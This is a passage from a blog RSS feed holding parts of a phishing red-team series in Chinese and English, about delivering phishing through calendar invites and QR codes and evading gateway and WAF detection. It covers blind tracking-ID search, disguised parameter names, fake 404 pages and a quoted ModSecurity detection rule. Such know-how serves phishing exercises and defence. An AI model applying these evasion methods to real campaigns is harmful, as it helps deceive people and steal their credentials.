&lt;li&gt;&lt;a href=&quot;./part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-3-bayes-nlp.md&quot;&gt;Part 3: Bayesian &amp;#x26; NLP Content Adversarial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt; ← this post&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>邮件钓鱼攻防工程·5：无链接投递与 QR 码</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-5-qr-delivery</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-5-qr-delivery</guid><description>从日历钓鱼到 Quishing，讨论威胁载体不在可解析 URL 文本层时的投递与检测盲区。</description><pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列的第 5 篇。篇幅不长：其实没啥好说的了，所以单纯拎二维码投递链路实现开个坑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 设计原点：危险不一定住在 URL 里&lt;/h2&gt;
&lt;h3&gt;1.1 SEG 流水线的隐含公理&lt;/h3&gt;
&lt;p&gt;主流邮件安全网关（无论是 SpamAssassin/Rspamd 思路的开源栈，还是 Defender / Proofpoint 一类商业 SEG）在「链接类威胁」上，常见是同一条流水线：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;MIME 拆包 → 文本/HTML 抽 URL → 信誉 / 沙箱 / 重写
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Part 3 的贝叶斯与 NLP，加在这条流水线的&lt;strong&gt;内容评分&lt;/strong&gt;侧；Part 4/5 讨论点击之后钓鱼站怎么活。整条链有一个很少写进需求文档的前提：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;威胁载体最终会以「字符串形式的 URL」出现在可解析的邮件层里。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「无链接投递」不是修辞，而是对这条公理的否定。否定至少有2种工程形态&lt;/p&gt;
&lt;p&gt;| 形态 | 信任从哪迁到哪 | 网关「抽 URL」是否还在主路径上 |
| :-- | :-- | :-- |
| 日历 / &lt;code&gt;.ics&lt;/code&gt; | 邮件客户端 → 日历库 → 系统通知 | 常常不在：入口是 &lt;code&gt;text/calendar&lt;/code&gt; 或附件 |
| 二维码 | 桌面渲染环境 → 手机相机与蜂窝出口 | 在图里：有 URL，但不在文本抽取层 |&lt;/p&gt;
&lt;p&gt;payload 形态和持久性都不同。再次之前，可以先聊一下Exchange日历钓鱼。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_002.DnYCLbBA_1ecd9y.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 日历通道：CalPhishing（日历钓鱼）&lt;/h2&gt;
&lt;h3&gt;2.1 iCalendar / iMIP 在邮件里长什么样&lt;/h3&gt;
&lt;p&gt;RFC 5545 定义日历对象；经邮件投递时常用 iMIP（RFC 6047）。MIME 上典型是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Content-Type: text/calendar; method=REQUEST; charset=&quot;UTF-8&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或把 &lt;code&gt;.ics&lt;/code&gt; 当附件。核心是 &lt;code&gt;VEVENT&lt;/code&gt;。&lt;code&gt;METHOD:REQUEST&lt;/code&gt; 表示请把这件事当作会议请求处理。&lt;/p&gt;
&lt;p&gt;攻击者利用 iCalendar（&lt;code&gt;.ics&lt;/code&gt;）文件，能在部分客户端/租户策略下，把未充分验证的会议推进用户日历（例如 Outlook 侧常见「暂定」一类呈现）。用户有没有删原邮件是一回事；&lt;strong&gt;邀请是否已经进入日程服务是另一回事&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2 为什么这比附件里藏 exe 更难防&lt;/h3&gt;
&lt;p&gt;传统附件威胁模型是：附件 = 潜在可执行 / 宏 / 脚本 → 沙箱检测。&lt;code&gt;.ics&lt;/code&gt; 大部分情况被归类为&lt;strong&gt;结构化数据&lt;/strong&gt;，走日历解析器，不走附件威胁主路径。&lt;/p&gt;
&lt;p&gt;更麻烦的是持久性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;用户删除原邮件，不等于删除日历项；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;桌面删了，手机同步可能还在。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 实现层风险：CVE-2025-27915&lt;/h3&gt;
&lt;p&gt;日历通道不只有社工。2025 年公开的 &lt;strong&gt;CVE-2025-27915&lt;/strong&gt;（Zimbra Classic Web Client）是对日历相关内容消毒不足导致的&lt;strong&gt;存储型 XSS&lt;/strong&gt;，已被用于定向活动，并进入 CISA KEV。公开报道将其与恶意 &lt;code&gt;.ics&lt;/code&gt; 投递路径联系在一起。&lt;/p&gt;
&lt;p&gt;工程含义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.ics&lt;/code&gt; 在「实现有洞」时可以是 &lt;strong&gt;RCE / 会话面风险&lt;/strong&gt;，不只是弹窗社工；&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x03 二维码：控制面被物理切开&lt;/h2&gt;
&lt;h3&gt;3.1 迁出模型&lt;/h3&gt;
&lt;p&gt;用户在办公 PC 看信，掏出手机扫码——几秒内发生：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;桌面（常：EDR / AV / 企业代理）
        │  相机扫码
        ▼
手机（常：无 EDR / 移动网络 / 个人机）
        │
        ▼
落地页 / 钓鱼站
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;二维码在检测上的位置是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;有 URL&lt;/strong&gt;，所以不是真·无链接；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;URL 不在文本层&lt;/strong&gt;，所以对抽 &lt;code&gt;&amp;#x3C;a href&gt;&lt;/code&gt; 的 SEG 主路径是盲点；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;打开动作发生在另一套控制面&lt;/strong&gt;，桌面侧 EDR / AV / 代理策略可能全部看不到真正打开落地页的那一跳。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_001.iGI51LTS_Z55mgH.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;3.2 taigong 的实现方案&lt;/h3&gt;
&lt;p&gt;工程上分两截，对应两种演练姿势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发信嵌入&lt;/strong&gt;：模板字段 &lt;code&gt;qrsize&lt;/code&gt;（JSON &lt;code&gt;qrsize&lt;/code&gt;）非空则生成二维码；&lt;code&gt;models/qr_code.go&lt;/code&gt; 用 &lt;code&gt;skip2/go-qrcode&lt;/code&gt; 出 PNG → base64；&lt;code&gt;EmailRequest&lt;/code&gt; 在 &lt;code&gt;QRBase64&lt;/code&gt; 有值时追加 &lt;code&gt;image/png&lt;/code&gt; 附件（&lt;code&gt;vanillaFile&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;钓鱼站即时出图&lt;/strong&gt;：&lt;code&gt;/qrcode&lt;/code&gt;（&lt;code&gt;QRHandler&lt;/code&gt;），受 &lt;code&gt;EnableQRCode&lt;/code&gt; 控制；关闭时与未知流量一样走伪装 404/跳转（与 Part 4 未知流量哲学一致）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;| 已实现 | 未实现 |
| :-- | :-- |
| 把追踪 URL（或你配置的内容）编成&lt;strong&gt;标准 QR 图&lt;/strong&gt;并发出 | HTML table / Unicode 画码生成器 |
|  | 用附件或内嵌图 / &lt;code&gt;/qrcode&lt;/code&gt; 承载码 |
| 自动 PDF 嵌码流水线 |  |
| 落地页仍走盲搜 RID、两段式等后续能力 | 默认「手机专属自适应」全家桶 |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_003.CbgvLTYN_24YRan.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x04 结束&lt;/h2&gt;
&lt;p&gt;Part 3/4 默认「点的是邮件里的链」。本篇是无链接投递，把检测面从客户端放到移动端上。
后面应该还会有一篇LLM多态化生成文案模板的引擎介绍，别的应该不会再写了（没有大更新的前提下，现有的能力基本也够用了。）&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Engineering · 5: Linkless Delivery &amp; QR Codes</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-5-qr-delivery-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-5-qr-delivery-en</guid><description>From calendar phishing to Quishing—delivery and detection blind spots when the threat payload no longer lives in the parseable URL text layer.</description><pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This is Part 5 of the “Email Phishing Engineering” series. It is short on purpose: there is not much left to say, so this post simply opens the QR delivery pipeline as a work-in-progress.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 Design origin: danger does not have to live in the URL&lt;/h2&gt;
&lt;h3&gt;1.1 The implicit axiom of SEG pipelines&lt;/h3&gt;
&lt;p&gt;Mainstream secure email gateways—whether open-source stacks in the SpamAssassin/Rspamd tradition or commercial SEGs such as Defender and Proofpoint—tend to share the same pipeline for “link-class” threats:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;MIME unpack → extract URLs from text/HTML → reputation / sandbox / rewrite
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Part 3’s Bayes and NLP sit on the &lt;strong&gt;content scoring&lt;/strong&gt; side of this pipeline; Parts 4/5 discuss how a phishing site stays alive after the click. The whole chain rests on a premise that rarely makes it into requirements docs:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The threat carrier will ultimately appear as a string-form URL in a parseable mail layer.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;“Linkless delivery” is not rhetoric; it is a negation of that axiom. The negation shows up in at least two engineering shapes:&lt;/p&gt;
&lt;p&gt;| Shape | Where trust migrates | Is “URL extraction” still on the main path? |
| :-- | :-- | :-- |
| Calendar / &lt;code&gt;.ics&lt;/code&gt; | Mail client → calendar library → system notification | Often not: entry is &lt;code&gt;text/calendar&lt;/code&gt; or an attachment |
| QR code | Desktop rendering environment → phone camera and cellular egress | The URL is in the image: present, but not in the text extraction layer |&lt;/p&gt;
&lt;p&gt;Payload shape and persistence differ. Before we go further, a brief look at Exchange calendar phishing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_002.DnYCLbBA_1ecd9y.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 The calendar channel: CalPhishing&lt;/h2&gt;
&lt;h3&gt;2.1 What iCalendar / iMIP looks like in email&lt;/h3&gt;
&lt;p&gt;RFC 5545 defines calendar objects; when delivered by mail, iMIP (RFC 6047) is common. On the MIME side a typical form is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Content-Type: text/calendar; method=REQUEST; charset=&quot;UTF-8&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or the &lt;code&gt;.ics&lt;/code&gt; is attached. The core is &lt;code&gt;VEVENT&lt;/code&gt;. &lt;code&gt;METHOD:REQUEST&lt;/code&gt; means “please treat this as a meeting request.”&lt;/p&gt;
&lt;p&gt;By abusing iCalendar (&lt;code&gt;.ics&lt;/code&gt;), an attacker can—under some client/tenant policies—push insufficiently validated meetings into the user’s calendar (Outlook often surfaces them as something like “Tentative”). Whether the user deleted the original message is one question; &lt;strong&gt;whether the invite already landed in the calendar service is another&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;2.2 Why this is harder to defend than an exe in an attachment&lt;/h3&gt;
&lt;p&gt;The traditional attachment threat model is: attachment = potentially executable / macro / script → sandbox. In most cases &lt;code&gt;.ics&lt;/code&gt; is classified as &lt;strong&gt;structured data&lt;/strong&gt;, routed through a calendar parser, and never hits the main attachment-threat path.&lt;/p&gt;
&lt;p&gt;Persistence makes it worse:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Deleting the original mail is not the same as deleting the calendar item;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Delete it on the desktop and the phone sync may still hold it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 Implementation-layer risk: CVE-2025-27915&lt;/h3&gt;
&lt;p&gt;The calendar channel is not only social engineering. The publicly disclosed &lt;strong&gt;CVE-2025-27915&lt;/strong&gt; (Zimbra Classic Web Client) is a &lt;strong&gt;stored XSS&lt;/strong&gt; from insufficient sanitization of calendar-related content. It has been used in targeted campaigns and is listed in CISA KEV. Public reporting ties it to malicious &lt;code&gt;.ics&lt;/code&gt; delivery paths.&lt;/p&gt;
&lt;p&gt;Engineering implication:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the implementation is buggy, &lt;code&gt;.ics&lt;/code&gt; can be an &lt;strong&gt;RCE / session-surface risk&lt;/strong&gt;, not merely a pop-up social-engineering trick;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x03 QR codes: the control plane is physically split&lt;/h2&gt;
&lt;h3&gt;3.1 Migration model&lt;/h3&gt;
&lt;p&gt;The user reads mail on the office PC, pulls out a phone, and scans—within seconds:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Desktop (often: EDR / AV / enterprise proxy)
        │  camera scan
        ▼
Phone (often: no EDR / mobile network / personal device)
        │
        ▼
Landing page / phishing site
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where QR sits in detection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;There is a URL&lt;/strong&gt;, so this is not truly linkless;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The URL is not in the text layer&lt;/strong&gt;, so SEG main paths that extract &lt;code&gt;&amp;#x3C;a href&gt;&lt;/code&gt; are blind to it;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The open happens on another control plane&lt;/strong&gt;, so desktop-side EDR / AV / proxy policy may never see the hop that actually loads the landing page.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_001.iGI51LTS_Z55mgH.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;3.2 TaiGong’s implementation approach&lt;/h3&gt;
&lt;p&gt;Engineering splits into two halves, matching two exercise postures:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Embed at send time&lt;/strong&gt;: if the template field &lt;code&gt;qrsize&lt;/code&gt; (JSON &lt;code&gt;qrsize&lt;/code&gt;) is non-empty, generate a QR; &lt;code&gt;models/qr_code.go&lt;/code&gt; uses &lt;code&gt;skip2/go-qrcode&lt;/code&gt; to produce a PNG → base64; when &lt;code&gt;EmailRequest&lt;/code&gt; has a value in &lt;code&gt;QRBase64&lt;/code&gt;, it appends an &lt;code&gt;image/png&lt;/code&gt; attachment (&lt;code&gt;vanillaFile&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;On-the-fly image from the phishing site&lt;/strong&gt;: &lt;code&gt;/qrcode&lt;/code&gt; (&lt;code&gt;QRHandler&lt;/code&gt;), gated by &lt;code&gt;EnableQRCode&lt;/code&gt;; when off, unknown traffic is handled like other unknown traffic with a camouflaged 404/redirect (same philosophy as Part 4).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;| Implemented | Not implemented |
| :-- | :-- |
| Encode tracking URL (or configured content) as a &lt;strong&gt;standard QR image&lt;/strong&gt; and send it | HTML table / Unicode art QR generators |
| Attachment, inline image, or &lt;code&gt;/qrcode&lt;/code&gt; hosting for the code | Automated PDF QR embedding pipeline |
| Landing page still uses blind RID search, two-stage flows, and other downstream capabilities | Default full “mobile-only adaptive” suite |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951301_003.CbgvLTYN_24YRan.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x04 Closing&lt;/h2&gt;
&lt;p&gt;Parts 3/4 assume “the click is on a link in the mail.” This part is about linkless delivery: moving the detection surface from the client onto the mobile end.
There should still be a later piece on an LLM polymorphic template-generation engine; beyond that I probably will not write more (absent major updates, existing capabilities are largely enough).&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-3-bayes-nlp.md&quot;&gt;Part 3: Bayesian &amp;#x26; NLP Content Adversarial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt; ← this post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>邮件钓鱼攻防工程·4：参数多态与响应伪装</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-4-rid-polymorphism</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-4-rid-polymorphism</guid><description>从 Gophish 固定 RID 指纹到盲搜 RID、通配路由与 404 伪装，讲落地页参数层对抗。</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;字数 4101，阅读大约需 21 分钟&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列第4篇。这篇解决&quot;访问的是什么&quot;：URL 参数结构本身就是最显眼的特征。Gophish 十年没变的 &lt;code&gt;?id=Ab7Xk2Q&lt;/code&gt; 在 WAF 面前就是一条完美的正则签名。这篇从 RID 的代码细节讲到盲搜算法的工程实现，再到 404 伪装的细节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;作者： 可惜夜&lt;/p&gt;
&lt;p&gt;首发wx Yofune安全研究&lt;/p&gt;
&lt;h3&gt;0x01 参数名即指纹&lt;/h3&gt;
&lt;p&gt;Gophish 的追踪 URL，在当下的攻防格局里，很难度过完整的周期。&lt;/p&gt;
&lt;p&gt;很明显的一个原因是：&lt;strong&gt;URL 参数结构本身就是指纹&lt;/strong&gt;。Gophish 十年来的 &lt;code&gt;?id=Ab7Xk2Q&lt;/code&gt; 模式，在 ModSecurity Core Rule Set、FortiWeb、AWS WAF、Cloudflare WAF 里，一条正则就能做到接近零误报的拦截：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SecRule ARGS:id &quot;^[a-zA-Z0-9_-]{7}$&quot; &quot;id:100001,deny&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条规则之所以致命，不在它是&quot;已知攻击签名&quot;，而在它天然排除合法业务。没有任何正常网站的 URL 会在 &lt;code&gt;id&lt;/code&gt; 参数里塞一个恰好 7 位的随机串。Gophish 的 RID 用 64 字符集（&lt;code&gt;[a-zA-Z0-9_-]&lt;/code&gt;）、7 位、从检测角度看，这本身就是就是个完美的静态特征。&lt;/p&gt;
&lt;p&gt;至于防火墙和waf匹配这种&quot;短随机串参数&quot;的规则，对于攻击者而言，是现成的套路。任何开了默认防护的企业网关，拦 Gophish 默认格式的钓鱼链接基本不用额外配置。&lt;/p&gt;
&lt;p&gt;Gophish 的架构把钓鱼 Landing Page 和管理后端绑在同一个 HTTP Server 上，这在 OpSec 上几乎是不可能的事情。访问根路由 &lt;code&gt;/&lt;/code&gt;，如果红队没配 Landing Page，直接暴露 Gophish 管理端登录页。国内测绘平台（FOFA、ZoomEye、鹰图）早就把 Gophish 管理界面的 HTML 结构、&lt;code&gt;X-Gophish-Contact&lt;/code&gt; 响应头、固定 favicon 哈希收进了规则库。&lt;/p&gt;
&lt;p&gt;这三个缺陷（固定参数名、管理界面暴露、无 OpSec 设计）本身就是让我对Gophish进行重构的原因之一。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 盲搜 RID：把参数名这个约定干掉&lt;/h3&gt;
&lt;p&gt;核心思路很直接：&lt;strong&gt;取消参数名的固定约定&lt;/strong&gt;。发信端和收信端不预先约定任何参数名，收信端靠遍历 + 校验来&quot;盲搜&quot; RID。&lt;/p&gt;
&lt;h4&gt;2.1 算法&lt;/h4&gt;
&lt;p&gt;这是 taigong &lt;code&gt;controllers/phish.go&lt;/code&gt; 里 &lt;code&gt;extractRIDFromRequest&lt;/code&gt; 的真实逻辑（精简后）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HTTP 请求到达
    │
    ▼
先试标准参数名（RecipientParameter）：取值 → 去掉 TransparencySuffix(+)
    │   └─ ridExistsInStorage(id)？存在 → 认领，结束
    ▼
否则：遍历所有 query key（按 key 排序，保证确定性）
    ├── 对每个 value：normalizeRID → isRIDCandidate(正则)
    │       不匹配 → 跳过
    │       匹配 → 去重(seen map) → ridExistsInStorage(id)
    │              存在 → 加入候选集
    │
    ▼
候选集判定：
    ├── 恰好 1 个 → 认领为本次 RID
    ├── &gt; 1 个   → 歧义，直接拒绝（记 warn，返回伪装 404）
    └── 0 个     → 走 POST body 兜底；仍无 → 判定扫描探测，返回伪装 404
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键变化：RID 的识别从&quot;按参数名查&quot;变成&quot;按参数值查 + 库里存在性确认&quot;。参数名可以任意生成，甚至每个目标用不同参数名。&lt;/p&gt;
&lt;p&gt;蓝队没法再用 &lt;code&gt;SecRule ARGS:id&lt;/code&gt; 拦了，因为参数名成了不可预测的动态量。要检测就得穷举所有参数名、对所有参数值做熵分析，这在多数邮件安全网关上是性能上扛不住的。&lt;/p&gt;
&lt;h4&gt;2.2 路由层&lt;/h4&gt;
&lt;p&gt;Gophish 在 &lt;code&gt;route.go&lt;/code&gt; 里注册固定路由：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;r.HandleFunc(&quot;/landing&quot;, landingHandler) // 固定路由 + 固定参数名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;taigong 用通配路由，路径匹配和参数解析完全解耦，所有非静态路径走同一个 handler，RID 在 handler 内盲搜提取。这样红队能构造完全合法的业务 URL：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/salary/detail?token=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/auth/callback?code=XyZ123A&amp;#x26;state=abc&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;https://phish-domain.com/notice?session_id=XyZ123A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参数名在发信时从词库随机选：&lt;code&gt;token&lt;/code&gt;、&lt;code&gt;sid&lt;/code&gt;、&lt;code&gt;auth_state&lt;/code&gt;、&lt;code&gt;session_key&lt;/code&gt;、&lt;code&gt;code&lt;/code&gt;、&lt;code&gt;ticket&lt;/code&gt;、&lt;code&gt;nonce&lt;/code&gt;、&lt;code&gt;sign&lt;/code&gt;。词库可扩展，能针对目标公司的内部命名习惯定制，比如用阿里云系的企业给 &lt;code&gt;ticket&lt;/code&gt;，微软系给 &lt;code&gt;session_state&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;2.3 工程边界&lt;/h4&gt;
&lt;p&gt;盲搜有几个边界要处理，下面举例几个代码实现：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歧义即拒绝&lt;/strong&gt;。如果一次请求里有多个参数值都通过了正则、且都在库里存在，&lt;code&gt;extractRIDFromRequest&lt;/code&gt; 不猜，直接记一条 &lt;code&gt;RID 解析歧义，命中多个候选值，已拒绝请求&lt;/code&gt; 然后返回 404。这是比&quot;截断到前 N 个参数&quot;更稳的防注入思路：攻击者塞一堆候选 RID 想撞库，结果是一律拒绝。参数遍历本身的开销因此也被这层拒绝兜住了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据库索引是硬要求&lt;/strong&gt;。&lt;code&gt;r_id&lt;/code&gt; 列上必须有 UNIQUE INDEX。SQLite 里 &lt;code&gt;WHERE r_id = ?&lt;/code&gt; 没索引就退化成全表扫描，百万级 result 记录下每次盲搜几百毫秒；有索引是 O(log n)，微秒级。这是能不能上生产的分水岭。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正则 + 库双校验&lt;/strong&gt;。&lt;code&gt;isRIDCandidate&lt;/code&gt; 卡字符集和长度，但一个恰好 7 位的普通表单值（比如半截密码）统计上会出现，所以数据库存在性确认是正则之后的兜底：正则过但库里不存在，照样不算 RID。&lt;/p&gt;
&lt;p&gt;盲搜消掉了参数名特征，但留了个新口子：&lt;strong&gt;参数值暴力枚举&lt;/strong&gt;。构造大量含候选 RID 的请求，每个都触发一次库查询。有 UNIQUE INDEX 保护不至于拖垮库，但批量枚举本身是流量异常。对付这个，靠的是上一篇文章讲的那套 IP/频率/UA 评分，不是盲搜算法自己。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 参数多态与路径伪装&lt;/h3&gt;
&lt;h4&gt;3.1 Gophish 的固定路径遗产&lt;/h4&gt;
